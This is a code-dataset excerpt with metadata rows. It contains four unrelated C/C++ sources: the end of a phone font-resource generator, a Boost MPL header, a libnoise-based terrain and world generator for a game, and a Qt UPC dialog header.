#endif /* __MMI_CHINESE_WITH_SMALL_FONT__ */
#else
#if defined(__MMI_CHAR_SET_GB18030__) || ( defined(__MMI_CHAR_SET_GB2312__) && defined(__MMI_CHAR_SET_BIG5__) )
AddFont(
("Chinesec"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(Chinese\\UNI_GB80.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT,
1, 0);
AddFont(
("Chineset"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(Chinese\\UNI_GB80.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT,
1, 0);
#elif defined(__MMI_CHAR_SET_GB2312__) && !defined(__MMI_CHAR_SET_BIG5__)
AddFont(
("Chinesec"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(Chinese\\GB1112.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT ,
1, 0);
#elif !defined(__MMI_CHAR_SET_GB2312__) && defined(__MMI_CHAR_SET_BIG5__)
AddFont(
("Chineset"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(Chinese\\UNI_B5.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_SUBLCD_FONT |MCT_DIALER_FONT,
1, 0);
#endif
#endif /* __MMI_16X16_CHINESE_FONT__ */
#if defined(__MMI_LANG_SM_CHINESE__)
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Chinesec"), ("*#0086#"), ("zh-CN"),
FONT_DATA_FILE_PATH(VK\\L_MTK_VK_9x9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#if defined(__MMI_LANG_TR_CHINESE__)
#ifdef __MMI_VIRTUAL_KEYBOARD__
AddFont(
("Chineset"), ("*#0886#"), ("zh-TW"),
FONT_DATA_FILE_PATH(VK\\L_MTK_VK_9x9.bdf),
MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#endif
#endif
#endif /* defined(__MMI_LANG_TR_CHINESE__) || defined(__MMI_LANG_SM_CHINESE__) */
#else /* Vector Font */
AddFont(
("English"), ("*#0044#"), ("en-US"),
FONT_DATA_FILE_PATH(Latin\\pluto_large.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_DIALER_FONT | MCT_NUMBER1_FONT | MCT_NUMBER2_FONT | MCT_VIRTUAL_KEYBOARD_FONT | MCT_TOUCH_SCREEN_LARGE, 0, 0);
#endif
#if defined(__MMI_FONT_MULTIPLE_PROPRIETARY_SUPPORT__)
#if defined(__MMI_MAINLCD_320X480__) || defined(__MMI_MAINLCD_240X320__) || defined(__MMI_MAINLCD_320X240__) || defined(__MMI_MAINLCD_240X400__)
AddFont(
"gMTKProprietaryFont", NULL, NULL,
FONT_DATA_FILE_PATH(MTK_Proprietary\\MTKProprietaryFont20.bdf),
MCT_MEDIUM_FONT | MCT_LARGE_FONT | MCT_DIALER_FONT | MCT_NUMBER1_FONT | MCT_NUMBER2_FONT | MCT_TOUCH_SCREEN_LARGE | MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
AddFont(
"gMTKProprietaryFont", NULL, NULL,
FONT_DATA_FILE_PATH(MTK_Proprietary\\MTKProprietaryFont14.bdf),
MCT_SMALL_FONT | MCT_SUBLCD_FONT,
0, 0);
#if defined(__MMI_ZI__) && (defined(__MMI_LANG_TR_CHINESE__) || defined(__MMI_LANG_SM_CHINESE__) || defined(__MMI_LANG_HK_CHINESE__))
#if defined(__MMI_ZI_V7__)
/* bug */
#else /* defined(__MMI_ZI_V7__) */
//#error Only Zi V7 is supported.
#endif /* defined(__MMI_ZI_V7__) */
#endif /* defined(__MMI_ZI__) */
#else
//#error Multiple proprietary font only apply on 320x480, 240x400, 320x240 and 240x320
#endif /* defined(__MMI_MAINLCD_320X480__) || defined(__MMI_MAINLCD_240X320__) || defined(__MMI_MAINLCD_320X240__) || defined(__MMI_MAINLCD_240X400__) */
#else /* defined(__MMI_FONT_MULTIPLE_PROPRIETARY_SUPPORT__) */
#if (defined(__MMI_MAINLCD_320X480__)) || (defined(__MMI_ZI__) && (defined(__MMI_LANG_TR_CHINESE__) || defined(__MMI_LANG_SM_CHINESE__) || defined(__MMI_LANG_HK_CHINESE__)))
AddFont(
"gMTKProprietaryFont", NULL, NULL,
FONT_DATA_FILE_PATH(MTK_Proprietary\\MTKProprietaryFont20.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT |MCT_SUBLCD_FONT| MCT_DIALER_FONT | MCT_NUMBER1_FONT | MCT_NUMBER2_FONT | MCT_TOUCH_SCREEN_LARGE | MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#if defined(__MMI_ZI_V7__)
/* bug */
#else /* defined(__MMI_ZI_V7__) */
/* bug */
#endif
#else /* defined(__MMI_MAINLCD_320X480__) */
AddFont(
"gMTKProprietaryFont", NULL, NULL,
FONT_DATA_FILE_PATH(MTK_Proprietary\\MTKProprietaryFont14.bdf),
MCT_SMALL_FONT | MCT_MEDIUM_FONT | MCT_LARGE_FONT |MCT_SUBLCD_FONT| MCT_DIALER_FONT | MCT_NUMBER1_FONT | MCT_NUMBER2_FONT | MCT_TOUCH_SCREEN_LARGE | MCT_VIRTUAL_KEYBOARD_FONT,
0, 0);
#if defined(__MMI_ZI_V7__)
/* bug */
#else /* defined(__MMI_ZI_V7__) */
/* bug */
#endif /* defined(__MMI_ZI_V7__) */
#endif /* defined(__MMI_MAINLCD_320X480__) */
#endif
GenerateFontResFile();
DeinitialFontEngine();
return 0;
}
// AddFont(&string("aa"), &string("bb"), &string("en-US"), MCT_ALPHA_SMALL_FONT, 0, 0, &bdf_path, 1);
//AddFont(&string("aa"), &string("bb"), &string("en-US"), MCT_ALPHA_SMALL_FONT, 0, 0, &bdf_path, 1);
| [
"864876693@qq.com"
] | 864876693@qq.com |
2e77f9dfe523d3738287936b8bb3230315810db0 | aaa5264ddb9c96caad4f194e49f1622423b6e3e2 | /3rdParty/boost/boost/mpl/aux_/nttp_decl.hpp | 1155fb0d3d7cae997bf444166aa3aa39b6b8f2ef | [
"BSL-1.0"
] | permissive | remko/toys | 3c8424fae5c5e847721b4ac949b80324b696ba43 | a4268e2baa55af4089622f51e510c1459489b055 | refs/heads/master | 2021-01-17T11:59:57.620546 | 2016-02-22T18:10:18 | 2016-02-22T19:42:14 | 10,422,577 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 952 | hpp |
#ifndef BOOST_MPL_AUX_NTTP_DECL_HPP_INCLUDED
#define BOOST_MPL_AUX_NTTP_DECL_HPP_INCLUDED
// Copyright Aleksey Gurtovoy 2001-2004
//
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/mpl for documentation.
// $Id: nttp_decl.hpp 49239 2008-10-10 09:10:26Z agurtovoy $
// $Date: 2008-10-10 11:10:26 +0200 (Fri, 10 Oct 2008) $
// $Revision: 49239 $
#include <boost/mpl/aux_/config/nttp.hpp>
#if defined(BOOST_MPL_CFG_NTTP_BUG)
typedef bool _mpl_nttp_bool;
typedef int _mpl_nttp_int;
typedef unsigned _mpl_nttp_unsigned;
typedef long _mpl_nttp_long;
# include <boost/preprocessor/cat.hpp>
# define BOOST_MPL_AUX_NTTP_DECL(T, x) BOOST_PP_CAT(_mpl_nttp_,T) x /**/
#else
# define BOOST_MPL_AUX_NTTP_DECL(T, x) T x /**/
#endif
#endif // BOOST_MPL_AUX_NTTP_DECL_HPP_INCLUDED
| [
"git@el-tramo.be"
] | git@el-tramo.be |
92b8edf216f1c7803d1059a3e67a63246ddff74b | fdebed37cdfcf61f2e38f92abd59608d9a65271c | /src/world_generation/WorldGenerator.cpp | 8cdbd86e772a67a4566b6392362eeca7750fd816 | [
"Apache-2.0"
] | permissive | guymor4/EagleBird | 71022d143bee308cdf77bc5648688b55036c21fa | 6b21819345c2a5d983a9d7fac2a12d85e3bbe9c2 | refs/heads/master | 2022-03-02T09:17:41.534035 | 2019-10-17T20:09:15 | 2019-10-17T20:09:15 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 21,960 | cpp | #include "WorldGenerator.h"
EagleBird::WorldGeneration::WorldGenerator::WorldGenerator(const uint32_t x_size, const uint32_t y_size, const uint32_t z_size, const int seed)
{
_size_x = x_size;
_size_y = y_size;
_size_z = z_size;
this->_seed = seed;
}
EagleBird::WorldGeneration::WorldGenerator::~WorldGenerator()
{
}
void EagleBird::WorldGeneration::WorldGenerator::GenerateWorld()
{
std::cout << "World generation seed: " << _seed << std::endl;
_height_map = new utils::NoiseMap();
_temperature_map = new utils::NoiseMap();
module::Perlin* biome_module = new module::Perlin();
biome_module->SetSeed(_seed + 1);
biome_module->SetFrequency(0.002);
biome_module->SetPersistence(0.2);
biome_module->SetOctaveCount(2);
module::Clamp* biome_module_cl = new module::Clamp();
biome_module_cl->SetSourceModule(0, *biome_module);
biome_module_cl->SetBounds(-1.0, 1.0);
_biome_module = biome_module_cl;
_biomes_manager = new BiomeManager(biome_module_cl);
_biomes_manager->AddBiome(new FlatBiome(_seed, LOWESET_TEMPERATURE, -0.1));
_biomes_manager->AddBiome(new MountainBiome(_seed, -0.1, 0.3));
_biomes_manager->AddBiome(new DesetBiome(_seed, 0.3, HIGHEST_TEMPERATURE));
utils::NoiseMapBuilderPlane heightMapBuilder;
heightMapBuilder.SetSourceModule(*_biomes_manager);
heightMapBuilder.SetDestNoiseMap(*_height_map);
heightMapBuilder.SetDestSize(_size_x / SIMPLENESS, _size_z / SIMPLENESS);
heightMapBuilder.SetBounds(0.0, _size_x / SIMPLENESS, 0.0, _size_z / SIMPLENESS);
heightMapBuilder.Build();
/*utils::RendererImage renderer;
utils::Image image;
renderer.SetSourceNoiseMap(*_height_map);
renderer.SetDestImage(image);
renderer.ClearGradient();
renderer.AddGradientPoint(-1.0000, utils::Color(0, 0, 128, 255)); // deeps
renderer.AddGradientPoint(-0.2500, utils::Color(0, 0, 255, 255)); // shallow
renderer.AddGradientPoint(0.0000, utils::Color(0, 128, 255, 255)); // shore
renderer.AddGradientPoint(0.001, utils::Color(240, 240, 64, 255)); // sand
renderer.AddGradientPoint(0.1250, utils::Color(32, 160, 0, 255)); // grass
renderer.EnableLight();
renderer.SetLightContrast(3.0);
renderer.SetLightBrightness(2.0);
renderer.Render();
utils::WriterBMP writer;
writer.SetSourceImage(image);
writer.SetDestFilename("tutorial.bmp");
writer.WriteDestFile();*/
//exit(0);
}
float EagleBird::WorldGeneration::WorldGenerator::GetHeight(float x, float y)
{
return (_biomes_manager->GetValue(x, 0.0, y) + 1.0) / 2.0 * _size_y;
//return (_height_map->GetValue(x, y) + 1.0) / 2.0 * _size_y;
}
glm::vec3 EagleBird::WorldGeneration::WorldGenerator::GetColor(float x, float y)
{
return _biomes_manager->GetColor(x, y);
}
module::Module * EagleBird::WorldGeneration::WorldGenerator::GenerateBaseElevation(float seed, float general_frequency)
{
// Frequency of the planet's continents. Higher frequency produces smaller,
// more numerous continents. This value is measured in radians.
const double CONTINENT_FREQUENCY = 0.002;
// Lacunarity of the planet's continents. Changing this value produces
// slightly different continents. For the best results, this value should
// be random, but close to 2.0.
const double CONTINENT_LACUNARITY = 2.208984375;
// Specifies the level on the planet in which continental shelves appear.
// This value must be between -1.0 (minimum planet elevation) and +1.0
// (maximum planet elevation), and must be less than SEA_LEVEL.
const double SHELF_LEVEL = -0.375;
const double SEA_LEVEL = 0.0;
const double CONTINENT_HEIGHT_SCALE = (1.0 - SEA_LEVEL) / 4.0;
// Offset to apply to the terrain type definition. Low values (< 1.0) cause
// the rough areas to appear only at high elevations. High values (> 2.0)
// cause the rough areas to appear at any elevation. The percentage of
// rough areas on the planet are independent of this value.
const double TERRAIN_OFFSET = 1.0;
// 1: [Continent module]: This Perlin-noise module generates the continents.
// This noise module has a high number of octaves so that detail is
// visible at high zoom levels.
module::Perlin* baseContinentDef_pe0 = new module::Perlin();
baseContinentDef_pe0->SetSeed(seed + 0);
baseContinentDef_pe0->SetFrequency(CONTINENT_FREQUENCY);
baseContinentDef_pe0->SetPersistence(0.5);
baseContinentDef_pe0->SetLacunarity(CONTINENT_LACUNARITY);
baseContinentDef_pe0->SetOctaveCount(4);
baseContinentDef_pe0->SetNoiseQuality(QUALITY_STD);
// 2: [Continent-with-ranges module]: Next, a curve module modifies the
// output value from the continent module so that very high values appear
// near sea level. This defines the positions of the mountain ranges.
module::Curve* baseContinentDef_cu = new module::Curve();
baseContinentDef_cu->SetSourceModule(0, *baseContinentDef_pe0);
baseContinentDef_cu->AddControlPoint(-2.0000 + SEA_LEVEL, -1.625 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(-1.0000 + SEA_LEVEL, -1.375 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.0000 + SEA_LEVEL, -0.375 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.0625 + SEA_LEVEL, 0.125 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.1250 + SEA_LEVEL, 0.250 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.2500 + SEA_LEVEL, 1.000 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.5000 + SEA_LEVEL, 0.250 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(0.7500 + SEA_LEVEL, 0.250 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(1.0000 + SEA_LEVEL, 0.500 + SEA_LEVEL);
baseContinentDef_cu->AddControlPoint(2.0000 + SEA_LEVEL, 0.500 + SEA_LEVEL);
// 3: [Carver module]: This higher-frequency Perlin-noise module will be
// used by subsequent noise modules to carve out chunks from the mountain
// ranges within the continent-with-ranges module so that the mountain
// ranges will not be complely impassible.
module::Perlin* baseContinentDef_pe1 = new module::Perlin();
baseContinentDef_pe1->SetSeed(seed + 1);
baseContinentDef_pe1->SetFrequency(CONTINENT_FREQUENCY * 4.34375);
baseContinentDef_pe1->SetPersistence(0.5);
baseContinentDef_pe1->SetLacunarity(CONTINENT_LACUNARITY);
baseContinentDef_pe1->SetOctaveCount(11);
baseContinentDef_pe1->SetNoiseQuality(QUALITY_STD);
// 4: [Scaled-carver module]: This scale/bias module scales the output
// value from the carver module such that it is usually near 1.0. This
// is required for step 5.
module::ScaleBias* baseContinentDef_sb = new module::ScaleBias();
baseContinentDef_sb->SetSourceModule(0, *baseContinentDef_pe1);
baseContinentDef_sb->SetScale(0.375);
baseContinentDef_sb->SetBias(0.625);
// 5: [Carved-continent module]: This minimum-value module carves out chunks
// from the continent-with-ranges module. It does this by ensuring that
// only the minimum of the output values from the scaled-carver module
// and the continent-with-ranges module contributes to the output value
// of this subgroup. Most of the time, the minimum-value module will
// select the output value from the continents-with-ranges module since
// the output value from the scaled-carver module is usually near 1.0.
// Occasionally, the output value from the scaled-carver module will be
// less than the output value from the continent-with-ranges module, so
// in this case, the output value from the scaled-carver module is
// selected.
module::Min* baseContinentDef_mi = new module::Min();
baseContinentDef_mi->SetSourceModule(0, *baseContinentDef_sb);
baseContinentDef_mi->SetSourceModule(1, *baseContinentDef_cu);
// 6: [Clamped-continent module]: Finally, a clamp module modifies the
// carved-continent module to ensure that the output value of this
// subgroup is between -1.0 and 1.0.
module::Clamp* baseContinentDef_cl = new module::Clamp();
baseContinentDef_cl->SetSourceModule(0, *baseContinentDef_cu);
baseContinentDef_cl->SetBounds(-1.0, 1.0);
////////////////////////////////////////////////////////////////////////////
// Module group: base continent elevations (3 noise modules)
//
// This subgroup generates the base elevations for the continents, before
// terrain features are added.
//
// The output value from this module subgroup is measured in planetary
// elevation units (-1.0 for the lowest underwater trenches and +1.0 for the
// highest mountain peaks.)
//
// 1: [Base-scaled-continent-elevations module]: This scale/bias module
// scales the output value from the continent-definition group so that it
// is measured in planetary elevation units
module::ScaleBias* baseContinentElev_sb = new module::ScaleBias();
baseContinentElev_sb->SetSourceModule(0, *baseContinentDef_cl);
baseContinentElev_sb->SetScale(CONTINENT_HEIGHT_SCALE);
baseContinentElev_sb->SetBias(0.0);
// 3: [Base-continent-elevation subgroup]: Caches the output value from the
// base-continent-with-oceans module.
module::Cache* baseContinentElev = new module::Cache();
baseContinentElev->SetSourceModule(0, *baseContinentElev_sb);
return baseContinentElev;
}
module::Cache* EagleBird::WorldGeneration::WorldGenerator::GenerateBadlands(float seed, float general_frequency)
{
const double DUNES_FREQUENCY = 4.0;
const double DUNES_AMPLITUDE = 0.5;
const double CLIFFS_FREQUENCY = 10.0;
module::RidgedMulti* badlandsSand_rm = new module::RidgedMulti();
badlandsSand_rm->SetSeed(seed + 80);
badlandsSand_rm->SetFrequency(general_frequency * 0.18 * DUNES_FREQUENCY);
badlandsSand_rm->SetLacunarity(2.212890625);
badlandsSand_rm->SetNoiseQuality(QUALITY_STD);
badlandsSand_rm->SetOctaveCount(1);
// 2: [Scaled-sand-dunes module]: This scale/bias module shrinks the dune
// heights by a small amount. This is necessary so that the subsequent
// noise modules in this subgroup can add some detail to the dunes.
module::ScaleBias* badlandsSand_sb0 = new module::ScaleBias();
badlandsSand_sb0->SetSourceModule(0, *badlandsSand_rm);
badlandsSand_sb0->SetScale(0.875);
badlandsSand_sb0->SetBias(0.1);
// 3: [Dune-detail module]: This noise module uses Voronoi polygons to
// generate the detail to add to the dunes. By enabling the distance
// algorithm, small polygonal pits are generated; the edges of the pits
// are joined to the edges of nearby pits.
module::Voronoi* badlandsSand_vo = new module::Voronoi();
badlandsSand_vo->SetSeed(seed + 81);
badlandsSand_vo->SetFrequency(general_frequency * 1.0 * DUNES_FREQUENCY);
badlandsSand_vo->SetDisplacement(0.0);
badlandsSand_vo->EnableDistance();
// 4: [Scaled-dune-detail module]: This scale/bias module shrinks the dune
// details by a large amount. This is necessary so that the subsequent
// noise modules in this subgroup can add this detail to the sand-dunes
// module.
module::ScaleBias* badlandsSand_sb1 = new module::ScaleBias();
badlandsSand_sb1->SetSourceModule(0, *badlandsSand_vo);
badlandsSand_sb1->SetScale(0.15);
badlandsSand_sb1->SetBias(0.3);
// 5: [Dunes-with-detail module]: This addition module combines the scaled-
// sand-dunes module with the scaled-dune-detail module.
module::Add* badlandsSand_ad = new module::Add();
badlandsSand_ad->SetSourceModule(0, *badlandsSand_sb0);
badlandsSand_ad->SetSourceModule(1, *badlandsSand_sb1);
// 6: [Badlands-sand subgroup]: Caches the output value from the dunes-with-
// detail module.
module::Cache* badlandsSand = new module::Cache();
badlandsSand->SetSourceModule(0, *badlandsSand_ad);
////////////////////////////////////////////////////////////////////////////
// Module subgroup: badlands cliffs (7 noise modules)
//
// This subgroup generates the cliffs for the badlands.
//
// -1.0 represents the lowest elevations and +1.0 represents the highest
// elevations.
//
// 1: [Cliff-basis module]: This Perlin-noise module generates some coherent
// noise that will be used to generate the cliffs.
module::Perlin* badlandsCliffs_pe = new module::Perlin();
badlandsCliffs_pe->SetSeed(seed + 90);
badlandsCliffs_pe->SetFrequency(839.0 / 16000.0 * general_frequency * CLIFFS_FREQUENCY);
badlandsCliffs_pe->SetPersistence(0.5);
badlandsCliffs_pe->SetLacunarity(2.212890625);
badlandsCliffs_pe->SetOctaveCount(6);
badlandsCliffs_pe->SetNoiseQuality(QUALITY_STD);
// 2: [Cliff-shaping module]: Next, this curve module applies a curve to the
// output value from the cliff-basis module. This curve is initially
// very shallow, but then its slope increases sharply. At the highest
// elevations, the curve becomes very flat again. This produces the
// stereotypical Utah-style desert cliffs.
module::Curve* badlandsCliffs_cu = new module::Curve();
badlandsCliffs_cu->SetSourceModule(0, *badlandsCliffs_pe);
badlandsCliffs_cu->AddControlPoint(-2.0000, -2.0000);
badlandsCliffs_cu->AddControlPoint(-1.0000, -1.2500);
badlandsCliffs_cu->AddControlPoint(-0.0000, -0.7500);
badlandsCliffs_cu->AddControlPoint(0.5000, -0.2500);
badlandsCliffs_cu->AddControlPoint(0.6250, 0.8750);
badlandsCliffs_cu->AddControlPoint(0.7500, 1.0000);
badlandsCliffs_cu->AddControlPoint(2.0000, 1.2500);
// 3: [Clamped-cliffs module]: This clamping module makes the tops of the
// cliffs very flat by clamping the output value from the cliff-shaping
// module so that the tops of the cliffs are very flat.
module::Clamp* badlandsCliffs_cl = new module::Clamp();
badlandsCliffs_cl->SetSourceModule(0, *badlandsCliffs_pe);
badlandsCliffs_cl->SetBounds(0, 0.875);
// 4: [Terraced-cliffs module]: Next, this terracing module applies some
// terraces to the clamped-cliffs module in the lower elevations before
// the sharp cliff transition.
module::Terrace* badlandsCliffs_te = new module::Terrace();
badlandsCliffs_te->SetSourceModule(0, *badlandsCliffs_cl);
badlandsCliffs_te->AddControlPoint(-1.0000);
badlandsCliffs_te->AddControlPoint(-0.8750);
badlandsCliffs_te->AddControlPoint(-0.7500);
badlandsCliffs_te->AddControlPoint(-0.5000);
badlandsCliffs_te->AddControlPoint(0.0000);
badlandsCliffs_te->AddControlPoint(1.0000);
// 5: [Coarse-turbulence module]: This turbulence module warps the output
// value from the terraced-cliffs module, adding some coarse detail to
// it.
/*module::Turbulence* badlandsCliffs_tu0 = new module::Turbulence();
badlandsCliffs_tu0->SetSeed(seed + 91);
badlandsCliffs_tu0->SetSourceModule(0, *badlandsCliffs_te);
badlandsCliffs_tu0->SetFrequency(general_frequency * CLIFFS_FREQUENCY);
badlandsCliffs_tu0->SetPower(1.0 / 141539.0 / 16000.0 * general_frequency * CLIFFS_FREQUENCY);
badlandsCliffs_tu0->SetRoughness(3);
// 6: [Warped-cliffs module]: This turbulence module warps the output value
// from the coarse-turbulence module. This turbulence has a higher
// frequency, but lower power, than the coarse-turbulence module, adding
// some fine detail to it.
module::Turbulence* badlandsCliffs_tu1 = new module::Turbulence();
badlandsCliffs_tu1->SetSeed(seed + 92);
badlandsCliffs_tu1->SetSourceModule(0, *badlandsCliffs_tu0);
badlandsCliffs_tu1->SetFrequency(36107.0 / 16000.0 * general_frequency * CLIFFS_FREQUENCY);
badlandsCliffs_tu1->SetPower(1.0 / 211543.0 / 16000.0 * general_frequency * CLIFFS_FREQUENCY);
badlandsCliffs_tu1->SetRoughness(3);*/
// 7: [Badlands-cliffs subgroup]: Caches the output value from the warped-
// cliffs module.
module::Cache* badlandsCliffs = new module::Cache();
badlandsCliffs->SetSourceModule(0, *badlandsCliffs_te);
////////////////////////////////////////////////////////////////////////////
// Module subgroup: badlands terrain (3 noise modules)
//
// Generates the final badlands terrain.
//
// Using a scale/bias module, the badlands sand is flattened considerably,
// then the sand elevations are lowered to around -1.0. The maximum value
// from the flattened sand module and the cliff module contributes to the
// final elevation. This causes sand to appear at the low elevations since
// the sand is slightly higher than the cliff base.
//
// -1.0 represents the lowest elevations and +1.0 represents the highest
// elevations.
//
// 1: [Scaled-sand-dunes module]: This scale/bias module considerably
// flattens the output value from the badlands-sands subgroup and lowers
// this value to near -1.0.
module::ScaleBias* badlandsTerrain_sb = new module::ScaleBias();
badlandsTerrain_sb->SetSourceModule(0, *badlandsSand);
badlandsTerrain_sb->SetScale(DUNES_AMPLITUDE);
badlandsTerrain_sb->SetBias(0.3);
// 2: [Dunes-and-cliffs module]: This maximum-value module causes the dunes
// to appear in the low areas and the cliffs to appear in the high areas.
// It does this by selecting the maximum of the output values from the
// scaled-sand-dunes module and the badlands-cliffs subgroup.
module::Max* badlandsTerrain_ma = new module::Max();
badlandsTerrain_ma->SetSourceModule(0, *badlandsCliffs);
badlandsTerrain_ma->SetSourceModule(1, *badlandsTerrain_sb);
// 3: [Badlands-terrain group]: Caches the output value from the dunes-and-
// cliffs module. This is the output value for the entire badlands-
// terrain group.
module::Cache* badlandsTerrain = new module::Cache();
badlandsTerrain->SetSourceModule(0, *badlandsTerrain_ma);
return badlandsTerrain;
}
module::Module * EagleBird::WorldGeneration::WorldGenerator::GenerateRivers(float seed, float general_frequency)
{
const double CONTINENT_LACUNARITY = 2.208984375;
const double RIVER_DEPTH = 0.6;
float scale = 0.001f;
////////////////////////////////////////////////////////////////////////////
// Module group: river positions
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
// Module subgroup: river positions (7 noise modules)
//
// This subgroup generates the river positions.
//
// -1.0 represents the lowest elevations and +1.0 represents the highest
// elevations.
//
// 1: [Large-river-basis module]: This ridged-multifractal-noise module
// creates the large, deep rivers.
module::RidgedMulti* riverPositions_rm0 = new module::RidgedMulti();
riverPositions_rm0->SetSeed(seed + 100);
riverPositions_rm0->SetFrequency(18.75 * scale);
riverPositions_rm0->SetLacunarity(CONTINENT_LACUNARITY);
riverPositions_rm0->SetOctaveCount(1);
riverPositions_rm0->SetNoiseQuality(QUALITY_BEST);
// 2: [Large-river-curve module]: This curve module applies a curve to the
// output value from the large-river-basis module so that the ridges
// become inverted. This creates the rivers. This curve also compresses
// the edge of the rivers, producing a sharp transition from the land to
// the river bottom.
module::Curve* riverPositions_cu0 = new module::Curve();
riverPositions_cu0->SetSourceModule(0, *riverPositions_rm0);
riverPositions_cu0->AddControlPoint(-2.000, 2.000);
riverPositions_cu0->AddControlPoint(-1.000, 1.000);
riverPositions_cu0->AddControlPoint(-0.125, 0.875);
riverPositions_cu0->AddControlPoint(0.000, -1.000);
riverPositions_cu0->AddControlPoint(1.000, -1.500);
riverPositions_cu0->AddControlPoint(2.000, -2.000);
/// 3: [Small-river-basis module]: This ridged-multifractal-noise module
// creates the small, shallow rivers.
module::RidgedMulti* riverPositions_rm1 = new module::RidgedMulti();
riverPositions_rm1->SetSeed(seed + 101);
riverPositions_rm1->SetFrequency(43.25 * scale);
riverPositions_rm1->SetLacunarity(CONTINENT_LACUNARITY);
riverPositions_rm1->SetOctaveCount(1);
riverPositions_rm1->SetNoiseQuality(QUALITY_BEST);
// 4: [Small-river-curve module]: This curve module applies a curve to the
// output value from the small-river-basis module so that the ridges
// become inverted. This creates the rivers. This curve also compresses
// the edge of the rivers, producing a sharp transition from the land to
// the river bottom.
module::Curve* riverPositions_cu1 = new module::Curve();
riverPositions_cu1->SetSourceModule(0, *riverPositions_rm1);
riverPositions_cu1->AddControlPoint(-2.000, 2.0000);
riverPositions_cu1->AddControlPoint(-1.000, 1.5000);
riverPositions_cu1->AddControlPoint(-0.125, 1.4375);
riverPositions_cu1->AddControlPoint(0.000, 0.5000);
riverPositions_cu1->AddControlPoint(1.000, 0.2500);
riverPositions_cu1->AddControlPoint(2.000, 0.0000);
// 5: [Combined-rivers module]: This minimum-value module causes the small
// rivers to cut into the large rivers. It does this by selecting the
// minimum output values from the large-river-curve module and the small-
// river-curve module.
module::Min* riverPositions_mi = new module::Min();
riverPositions_mi->SetSourceModule(0, *riverPositions_cu0);
riverPositions_mi->SetSourceModule(1, *riverPositions_cu1);
// 6: [Warped-rivers module]: This turbulence module warps the output value
// from the combined-rivers module, which twists the rivers. The high
// roughness produces less-smooth rivers.
module::Turbulence* riverPositions_tu = new module::Turbulence();
riverPositions_tu->SetSourceModule(0, *riverPositions_mi);
riverPositions_tu->SetSeed(seed + 102);
riverPositions_tu->SetFrequency(9.25 * scale);
riverPositions_tu->SetPower(1.0 / 57.75 * scale);
riverPositions_tu->SetRoughness(6);
// 7: [River-positions group]: Caches the output value from the warped-
// rivers module. This is the output value for the entire river-
// positions group.
module::Cache* riverPositions = new module::Cache();
riverPositions->SetSourceModule(0, *riverPositions_tu);
module::ScaleBias* continentsWithRivers_sb = new module::ScaleBias();
continentsWithRivers_sb->SetSourceModule(0, *riverPositions);
continentsWithRivers_sb->SetScale(RIVER_DEPTH / 2.0);
continentsWithRivers_sb->SetBias(-RIVER_DEPTH / 2.0);
return continentsWithRivers_sb;
}
float EagleBird::WorldGeneration::WorldGenerator::normal_float(float f)
{
return f / 2.0f + 0.5f;
}
| [
"guymor4@gmail.com"
] | guymor4@gmail.com |
b3272335411982994633308b041f724a01ebb3f7 | d113a71731fb93976c353ea48ec1ecaf6af6421f | /UPCDlg.h | cb9fe2cd3f7b1cea52b11ec624a8942bf7fee76d | [] | no_license | jasonxi89/Inventory_Management | 7a7e47c6037ab2066bbad8b9c1cf9dac7385f32b | 3ec1c3fc840275b5461e170e8ba267c1f1e7e0df | refs/heads/master | 2020-03-07T19:29:58.009063 | 2018-04-01T21:20:53 | 2018-04-01T21:20:53 | 127,672,315 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 566 | h | #pragma once
#include <QDialog>
#include "DBUiDlg.h"
struct UPC_INFO
{
QString category;
QString name;
QString company;
QString memo;
};
class QLineEdit;
class UPCDialog : public DBUiDlg
{
Q_OBJECT
public:
UPCDialog(QWidget *parent = 0);
~UPCDialog();
virtual void Init(DBRowData data,int type);
void setUPCInfo(QMap<QString,UPC_INFO> upcMap);
protected slots:
void onUPCChanged(const QString &text);
protected:
virtual void accept();
QVector<QLineEdit*> upcLabelList;
QMap<QString,UPC_INFO> mUPCMap;
}; | [
"jasonxi89@gmail.com"
] | jasonxi89@gmail.com |
